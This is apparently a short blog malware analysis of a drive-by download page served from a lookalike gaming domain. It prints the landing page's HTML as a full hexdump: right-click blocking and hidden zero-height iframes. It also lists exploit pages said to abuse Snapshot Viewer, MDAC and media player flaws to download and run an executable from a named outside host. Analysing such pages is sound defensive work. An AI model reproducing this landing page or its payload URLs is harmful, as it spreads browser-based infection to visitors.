www.worldofwarcrokft.com/jj.js

jj.js essentially calls iframe ‘http://www.worldofwarcrokft.com/1/index.htm’
index.htm is 8-bit ASCII encoded. The hexdump content as follows:

00000000  3c 00 68 00 74 00 6d 00  6c 00 3e 00 0d 0a 3c 00  |<.h.t.m.l.>...<.|
00000010  68 00 65 00 61 00 64 00  3e 00 0d 0a 3c 00 74 00  |h.e.a.d.>...<.t.|
00000020  69 00 74 00 6c 00 65 00  3e 00 57 00 65 00 62 00  |i.t.l.e.>.W.e.b.|
00000030  20 54 00 65 00 73 00 74  00 3c 00 2f 00 74 00 69  | T.e.s.t.<./.t.i|
00000040  00 74 00 6c 00 65 00 3e  00 0d 0a 3c 00 73 00 63  |.t.l.e.>...<.s.c|
00000050  00 72 00 69 00 70 00 74  00 3e 00 20 0d 0a 66 00  |.r.i.p.t.>. ..f.|
00000060  75 00 6e 00 63 00 74 00  69 00 6f 00 6e 00 20 63  |u.n.c.t.i.o.n. c|
00000070  00 6c 00 65 00 61 00 72  00 28 29 7b 00 20 0d 0a  |.l.e.a.r.(){. ..|
00000080  53 00 6f 00 75 00 72 00  63 00 65 00 3d 00 64 00  |S.o.u.r.c.e.=.d.|
00000090  6f 00 63 00 75 00 6d 00  65 00 6e 00 74 00 2e 62  |o.c.u.m.e.n.t..b|
000000a0  00 6f 00 64 00 79 00 2e  66 00 69 00 72 00 73 00  |.o.d.y..f.i.r.s.|
000000b0  74 00 43 00 68 00 69 00  6c 00 64 00 2e 64 00 61  |t.C.h.i.l.d..d.a|
000000c0  00 74 00 61 00 3b 00 20  0d 0a 64 00 6f 00 63 00  |.t.a.;. ..d.o.c.|
000000d0  75 00 6d 00 65 00 6e 00  74 00 2e 6f 00 70 00 65  |u.m.e.n.t..o.p.e|
000000e0  00 6e 00 28 29 3b 00 20  0d 0a 64 00 6f 00 63 00  |.n.();. ..d.o.c.|
000000f0  75 00 6d 00 65 00 6e 00  74 00 2e 63 00 6c 00 6f  |u.m.e.n.t..c.l.o|
00000100  00 73 00 65 00 28 29 3b  00 20 0d 0a 64 00 6f 00  |.s.e.();. ..d.o.|
00000110  63 00 75 00 6d 00 65 00  6e 00 74 00 2e 74 00 69  |c.u.m.e.n.t..t.i|
00000120  00 74 00 6c 00 65 00 3d  00 22 d0 a1 d7 d3 a3 ac  |.t.l.e.=."......|
00000130  c4 e3 cf eb b8 c9 c2 f0  a3 bf 22 3b 00 20 0d 0a  |..........";. ..|
00000140  64 00 6f 00 63 00 75 00  6d 00 65 00 6e 00 74 00  |d.o.c.u.m.e.n.t.|
00000150  2e 62 00 6f 00 64 00 79  00 2e 69 00 6e 00 6e 00  |.b.o.d.y..i.n.n.|
00000160  65 00 72 00 48 00 54 00  4d 00 4c 00 3d 00 53 00  |e.r.H.T.M.L.=.S.|
00000170  6f 00 75 00 72 00 63 00  65 00 3b 00 20 0d 0a 7d  |o.u.r.c.e.;. ..}|
00000180  00 0d 0a 3c 00 2f 00 73  00 63 00 72 00 69 00 70  |...<./.s.c.r.i.p|
00000190  00 74 00 3e 00 0d 0a 3c  00 2f 00 68 00 65 00 61  |.t.>...<./.h.e.a|
000001a0  00 64 00 3e 00 0d 0a 3c  00 42 00 6f 00 64 00 79  |.d.>...<.B.o.d.y|
000001b0  00 3e 00 0d 0a 3c 00 73  00 63 00 72 00 69 00 70  |.>...<.s.c.r.i.p|
000001c0  00 74 00 20 6c 00 61 00  6e 00 67 00 75 00 61 00  |.t. l.a.n.g.u.a.|
000001d0  67 00 65 00 3d 00 4a 00  61 00 76 00 61 00 73 00  |g.e.=.J.a.v.a.s.|
000001e0  63 00 72 00 69 00 70 00  74 00 3e 00 0d 0a 3c 00  |c.r.i.p.t.>...<.|
000001f0  70 00 3e 00 50 00 6c 00  65 00 61 00 73 00 65 00  |p.>.P.l.e.a.s.e.|
00000200  20 57 00 61 00 69 00 74  00 2e 2e 2e 0d 0a 3c 00  | W.a.i.t......<.|
00000210  21 2d 2d 0d 0a 76 00 61  00 72 00 20 6d 00 65 00  |!--..v.a.r. m.e.|
00000220  73 00 73 00 61 00 67 00  65 00 3d 00 22 22 3b 00  |s.s.a.g.e.=."";.|
00000230  0d 0a 2f 00 2f 00 2f 00  2f 00 2f 00 2f 00 2f 00  |../././././././.|
00000240  2f 00 2f 00 2f 00 2f 00  2f 00 2f 00 2f 00 2f 00  |/./././././././.|
*
00000270  2f 00 2f 00 2f 00 2f 00  0d 0a 66 00 75 00 6e 00  |/./././...f.u.n.|
00000280  63 00 74 00 69 00 6f 00  6e 00 20 63 00 6c 00 69  |c.t.i.o.n. c.l.i|
00000290  00 63 00 6b 00 49 00 45  00 28 29 20 7b 00 69 00  |.c.k.I.E.() {.i.|
000002a0  66 00 20 28 64 00 6f 00  63 00 75 00 6d 00 65 00  |f. (d.o.c.u.m.e.|
000002b0  6e 00 74 00 2e 61 00 6c  00 6c 00 29 20 7b 00 28  |n.t..a.l.l.) {.(|
000002c0  6d 00 65 00 73 00 73 00  61 00 67 00 65 00 29 3b  |m.e.s.s.a.g.e.);|
000002d0  00 72 00 65 00 74 00 75  00 72 00 6e 00 20 66 00  |.r.e.t.u.r.n. f.|
000002e0  61 00 6c 00 73 00 65 00  3b 00 7d 00 7d 00 0d 0a  |a.l.s.e.;.}.}...|
000002f0  66 00 75 00 6e 00 63 00  74 00 69 00 6f 00 6e 00  |f.u.n.c.t.i.o.n.|
00000300  20 63 00 6c 00 69 00 63  00 6b 00 4e 00 53 00 28  | c.l.i.c.k.N.S.(|
00000310  65 00 29 20 7b 00 69 00  66 00 20 0d 0a 28 64 00  |e.) {.i.f. ..(d.|
00000320  6f 00 63 00 75 00 6d 00  65 00 6e 00 74 00 2e 6c  |o.c.u.m.e.n.t..l|
00000330  00 61 00 79 00 65 00 72  00 73 00 7c 00 7c 00 28  |.a.y.e.r.s.|.|.(|
00000340  64 00 6f 00 63 00 75 00  6d 00 65 00 6e 00 74 00  |d.o.c.u.m.e.n.t.|
00000350  2e 67 00 65 00 74 00 45  00 6c 00 65 00 6d 00 65  |.g.e.t.E.l.e.m.e|
00000360  00 6e 00 74 00 42 00 79  00 49 00 64 00 26 26 21  |.n.t.B.y.I.d.&&!|
00000370  64 00 6f 00 63 00 75 00  6d 00 65 00 6e 00 74 00  |d.o.c.u.m.e.n.t.|
00000380  2e 61 00 6c 00 6c 00 29  29 20 7b 00 0d 0a 69 00  |.a.l.l.)) {...i.|
00000390  66 00 20 28 65 00 2e 77  00 68 00 69 00 63 00 68  |f. (e..w.h.i.c.h|
000003a0  00 3d 00 3d 00 32 00 7c  00 7c 00 65 00 2e 77 00  |.=.=.2.|.|.e..w.|
000003b0  68 00 69 00 63 00 68 00  3d 00 3d 00 33 00 29 20  |h.i.c.h.=.=.3.) |
000003c0  7b 00 28 6d 00 65 00 73  00 73 00 61 00 67 00 65  |{.(m.e.s.s.a.g.e|
000003d0  00 29 3b 00 72 00 65 00  74 00 75 00 72 00 6e 00  |.);.r.e.t.u.r.n.|
000003e0  20 66 00 61 00 6c 00 73  00 65 00 3b 00 7d 00 7d  | f.a.l.s.e.;.}.}|
000003f0  00 7d 00 0d 0a 69 00 66  00 20 28 64 00 6f 00 63  |.}...i.f. (d.o.c|
00000400  00 75 00 6d 00 65 00 6e  00 74 00 2e 6c 00 61 00  |.u.m.e.n.t..l.a.|
00000410  79 00 65 00 72 00 73 00  29 20 0d 0a 7b 00 64 00  |y.e.r.s.) ..{.d.|
00000420  6f 00 63 00 75 00 6d 00  65 00 6e 00 74 00 2e 63  |o.c.u.m.e.n.t..c|
00000430  00 61 00 70 00 74 00 75  00 72 00 65 00 45 00 76  |.a.p.t.u.r.e.E.v|
00000440  00 65 00 6e 00 74 00 73  00 28 45 00 76 00 65 00  |.e.n.t.s.(E.v.e.|
00000450  6e 00 74 00 2e 4d 00 4f  00 55 00 53 00 45 00 44  |n.t..M.O.U.S.E.D|
00000460  00 4f 00 57 00 4e 00 29  3b 00 64 00 6f 00 63 00  |.O.W.N.);.d.o.c.|
00000470  75 00 6d 00 65 00 6e 00  74 00 2e 6f 00 6e 00 6d  |u.m.e.n.t..o.n.m|
00000480  00 6f 00 75 00 73 00 65  00 64 00 6f 00 77 00 6e  |.o.u.s.e.d.o.w.n|
00000490  00 3d 00 63 00 6c 00 69  00 63 00 6b 00 4e 00 53  |.=.c.l.i.c.k.N.S|
000004a0  00 3b 00 7d 00 0d 0a 65  00 6c 00 73 00 65 00 7b  |.;.}...e.l.s.e.{|
000004b0  00 64 00 6f 00 63 00 75  00 6d 00 65 00 6e 00 74  |.d.o.c.u.m.e.n.t|
000004c0  00 2e 6f 00 6e 00 6d 00  6f 00 75 00 73 00 65 00  |..o.n.m.o.u.s.e.|
000004d0  75 00 70 00 3d 00 63 00  6c 00 69 00 63 00 6b 00  |u.p.=.c.l.i.c.k.|
000004e0  4e 00 53 00 3b 00 64 00  6f 00 63 00 75 00 6d 00  |N.S.;.d.o.c.u.m.|
000004f0  65 00 6e 00 74 00 2e 6f  00 6e 00 63 00 6f 00 6e  |e.n.t..o.n.c.o.n|
00000500  00 74 00 65 00 78 00 74  00 6d 00 65 00 6e 00 75  |.t.e.x.t.m.e.n.u|
00000510  00 3d 00 63 00 6c 00 69  00 63 00 6b 00 49 00 45  |.=.c.l.i.c.k.I.E|
00000520  00 3b 00 7d 00 0d 0a 64  00 6f 00 63 00 75 00 6d  |.;.}...d.o.c.u.m|
00000530  00 65 00 6e 00 74 00 2e  6f 00 6e 00 63 00 6f 00  |.e.n.t..o.n.c.o.|
00000540  6e 00 74 00 65 00 78 00  74 00 6d 00 65 00 6e 00  |n.t.e.x.t.m.e.n.|
00000550  75 00 3d 00 6e 00 65 00  77 00 20 46 00 75 00 6e  |u.=.n.e.w. F.u.n|
00000560  00 63 00 74 00 69 00 6f  00 6e 00 28 22 72 00 65  |.c.t.i.o.n.("r.e|
00000570  00 74 00 75 00 72 00 6e  00 20 66 00 61 00 6c 00  |.t.u.r.n. f.a.l.|
00000580  73 00 65 00 22 29 0d 0a  2f 00 2f 00 20 2d 2d 3e  |s.e.").././. -->|
00000590  00 20 0d 0a 3c 00 2f 00  73 00 63 00 72 00 69 00  |. ..<./.s.c.r.i.|
000005a0  70 00 74 00 3e 00 0d 0a  3c 00 69 00 66 00 72 00  |p.t.>...<.i.f.r.|
000005b0  61 00 6d 00 65 00 20 73  00 72 00 63 00 3d 00 22  |a.m.e. s.r.c.=."|
000005c0  66 00 6c 00 61 00 73 00  68 00 2e 68 00 74 00 6d  |f.l.a.s.h..h.t.m|
000005d0  00 22 20 77 00 69 00 64  00 74 00 68 00 3d 00 31  |." w.i.d.t.h.=.1|
000005e0  00 30 00 20 68 00 65 00  69 00 67 00 68 00 74 00  |.0. h.e.i.g.h.t.|
000005f0  3d 00 30 00 3e 00 3c 00  2f 00 69 00 66 00 72 00  |=.0.>.<./.i.f.r.|
00000600  61 00 6d 00 65 00 3e 00  0d 0a 3c 00 69 00 66 00  |a.m.e.>...<.i.f.|
00000610  72 00 61 00 6d 00 65 00  20 73 00 72 00 63 00 3d  |r.a.m.e. s.r.c.=|
00000620  00 22 4f 00 66 00 66 00  69 00 63 00 65 00 2e 68  |."O.f.f.i.c.e..h|
00000630  00 74 00 6d 00 22 20 77  00 69 00 64 00 74 00 68  |.t.m." w.i.d.t.h|
00000640  00 3d 00 31 00 30 00 20  68 00 65 00 69 00 67 00  |.=.1.0. h.e.i.g.|
00000650  68 00 74 00 3d 00 30 00  3e 00 3c 00 2f 00 69 00  |h.t.=.0.>.<./.i.|
00000660  66 00 72 00 61 00 6d 00  65 00 3e 00 0d 0a 3c 00  |f.r.a.m.e.>...<.|
00000670  69 00 66 00 72 00 61 00  6d 00 65 00 20 73 00 72  |i.f.r.a.m.e. s.r|
00000680  00 63 00 3d 00 22 52 00  65 00 61 00 6c 00 2e 68  |.c.=."R.e.a.l..h|
00000690  00 74 00 6d 00 22 20 77  00 69 00 64 00 74 00 68  |.t.m." w.i.d.t.h|
000006a0  00 3d 00 31 00 30 00 20  68 00 65 00 69 00 67 00  |.=.1.0. h.e.i.g.|
000006b0  68 00 74 00 3d 00 30 00  3e 00 3c 00 2f 00 69 00  |h.t.=.0.>.<./.i.|
000006c0  66 00 72 00 61 00 6d 00  65 00 3e 00 0d 0a 3c 00  |f.r.a.m.e.>...<.|
000006d0  69 00 66 00 72 00 61 00  6d 00 65 00 20 73 00 72  |i.f.r.a.m.e. s.r|
000006e0  00 63 00 3d 00 22 6d 00  73 00 30 00 36 00 30 00  |.c.=."m.s.0.6.0.|
000006f0  31 00 34 00 2e 68 00 74  00 6d 00 22 20 77 00 69  |1.4..h.t.m." w.i|
00000700  00 64 00 74 00 68 00 3d  00 31 00 30 00 20 68 00  |.d.t.h.=.1.0. h.|
00000710  65 00 69 00 67 00 68 00  74 00 3d 00 30 00 3e 00  |e.i.g.h.t.=.0.>.|
00000720  3c 00 2f 00 69 00 66 00  72 00 61 00 6d 00 65 00  |<./.i.f.r.a.m.e.|
00000730  3e 00 0d 0a 3c 00 69 00  66 00 72 00 61 00 6d 00  |>...<.i.f.r.a.m.|
00000740  65 00 20 73 00 72 00 63  00 3d 00 22 4d 00 65 00  |e. s.r.c.=."M.e.|
00000750  64 00 69 00 61 00 2e 68  00 74 00 6d 00 22 20 77  |d.i.a..h.t.m." w|
00000760  00 69 00 64 00 74 00 68  00 3d 00 31 00 30 00 20  |.i.d.t.h.=.1.0. |
00000770  68 00 65 00 69 00 67 00  68 00 74 00 3d 00 30 00  |h.e.i.g.h.t.=.0.|
00000780  3e 00 3c 00 2f 00 69 00  66 00 72 00 61 00 6d 00  |>.<./.i.f.r.a.m.|
00000790  65 00 3e 00 0d 0a 3c 00  69 00 66 00 72 00 61 00  |e.>...<.i.f.r.a.|
000007a0  6d 00 65 00 20 73 00 72  00 63 00 3d 00 22 4f 00  |m.e. s.r.c.=."O.|
000007b0  66 00 66 00 69 00 63 00  65 00 31 00 2e 68 00 74  |f.f.i.c.e.1..h.t|
000007c0  00 6d 00 22 20 77 00 69  00 64 00 74 00 68 00 3d  |.m." w.i.d.t.h.=|
000007d0  00 31 00 30 00 20 68 00  65 00 69 00 67 00 68 00  |.1.0. h.e.i.g.h.|
000007e0  74 00 3d 00 30 00 3e 00  3c 00 2f 00 69 00 66 00  |t.=.0.>.<./.i.f.|
000007f0  72 00 61 00 6d 00 65 00  3e 00 0d 0a 3c 00 69 00  |r.a.m.e.>...<.i.|
00000800  66 00 72 00 61 00 6d 00  65 00 20 73 00 72 00 63  |f.r.a.m.e. s.r.c|
00000810  00 3d 00 22 52 00 65 00  61 00 6c 00 31 00 31 00  |.=."R.e.a.l.1.1.|
00000820  2e 68 00 74 00 6d 00 22  20 77 00 69 00 64 00 74  |.h.t.m." w.i.d.t|
00000830  00 68 00 3d 00 31 00 30  00 20 68 00 65 00 69 00  |.h.=.1.0. h.e.i.|
00000840  67 00 68 00 74 00 3d 00  30 00 3e 00 3c 00 2f 00  |g.h.t.=.0.>.<./.|
00000850  69 00 66 00 72 00 61 00  6d 00 65 00 3e 00 0d 0a  |i.f.r.a.m.e.>...|
00000860  3c 00 69 00 66 00 72 00  61 00 6d 00 65 00 20 73  |<.i.f.r.a.m.e. s|
00000870  00 72 00 63 00 3d 00 22  6d 00 73 00 30 00 36 00  |.r.c.=."m.s.0.6.|
00000880  30 00 31 00 34 00 31 00  2e 68 00 74 00 6d 00 22  |0.1.4.1..h.t.m."|
00000890  20 77 00 69 00 64 00 74  00 68 00 3d 00 31 00 30  | w.i.d.t.h.=.1.0|
000008a0  00 20 68 00 65 00 69 00  67 00 68 00 74 00 3d 00  |. h.e.i.g.h.t.=.|
000008b0  30 00 3e 00 3c 00 2f 00  69 00 66 00 72 00 61 00  |0.>.<./.i.f.r.a.|
000008c0  6d 00 65 00 3e 00 0d 0a  3c 00 2f 00 62 00 6f 00  |m.e.>...<./.b.o.|
000008d0  64 00 79 00 3e 00 0d 0a  3c 00 2f 00 68 00 74 00  |d.y.>...<./.h.t.|
000008e0  6d 00 6c 00 3e 00 0d 0a  0d 0a 0d 0a 0d 0a 0d 0a  |m.l.>...........|
000008f0  0d 0a 0d 0a 0d 0a 0d 0a  0d 0a                    |..........|

The points of interests are the calls to the following exploit iframes

  • <iframe src=”flash.htm” width=10 height=0></iframe> -> retrieves ie.swf or ff.swf
  • <iframe src=”Office.htm” width=10 height=0></iframe> -> uses Snapshot viewer to download and execute “http://hisokakk.com/1.exe”
  • <iframe src=”Real.htm” width=10 height=0></iframe> -> null?
  • <iframe src=”ms06014.htm” width=10 height=0></iframe> -> uses MDAC vulnerability to download and run “http://hisokakk.com/1.exe”
  • <iframe src=”Media.htm” width=10 height=0></iframe> -> uses mediaplay to download and run same exploit
  • <iframe src=”Office1.htm” width=10 height=0></iframe> -> uses Snapshot viewer to download and run same exploit
  • <iframe src=”Real11.htm” width=10 height=0></iframe>
  • <iframe src=”ms060141.htm” width=10 height=0></iframe> -> more of the same
Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: